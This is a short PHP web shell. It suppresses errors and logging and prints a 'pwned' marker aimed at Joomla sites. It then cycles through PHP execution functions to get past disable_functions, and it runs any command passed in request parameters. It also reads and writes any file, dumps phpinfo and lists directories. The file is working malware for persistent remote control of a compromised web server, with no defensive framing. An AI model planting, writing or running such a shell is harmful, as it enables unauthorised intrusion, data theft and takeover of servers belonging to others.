<?php
@error_reporting(0);
@set_time_limit(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('memory_limit', '256M');
echo 'ROOTWEB_JOOMLA_PWNED_2026';
function _rw_exec($cmd){
    $disabled = array_map('trim', explode(',', @ini_get('disable_functions')));
    $functions = array('system','passthru','shell_exec','exec','popen','proc_open','pcntl_exec');
    foreach($functions as $fn){
        if(function_exists($fn) && !in_array($fn, $disabled)){
            if($fn == 'exec'){ @exec($cmd, $out); echo @implode("\n", $out); return; }
            elseif($fn == 'shell_exec'){ echo @shell_exec($cmd); return; }
            elseif($fn == 'popen'){
                $h = @popen($cmd, 'r');
                if($h){ while(!@feof($h)){ echo @fread($h, 4096); } @pclose($h); }
                return;
            }
            elseif($fn == 'pcntl_exec'){ @pcntl_exec('/bin/bash', array('-c', $cmd)); return; }
            else { @$fn($cmd); return; }
        }
    }
    echo '[!] no exec function available';
}
if(isset($_REQUEST['cmd'])){ _rw_exec($_REQUEST['cmd']); }
if(isset($_REQUEST['c'])){ _rw_exec($_REQUEST['c']); }
if(isset($_FILES['f'])){}
if(isset($_REQUEST['info'])){ phpinfo(); }
if(isset($_REQUEST['read'])){ echo @file_get_contents($_REQUEST['read']); }
if(isset($_REQUEST['write']) && isset($_REQUEST['data'])){ @file_put_contents($_REQUEST['write'], $_REQUEST['data']); echo 'WRITE_OK'; }
if(isset($_REQUEST['ls'])){ echo '<pre>'; system('ls -la ' . escapeshellarg($_REQUEST['ls'])); echo '</pre>'; }
?>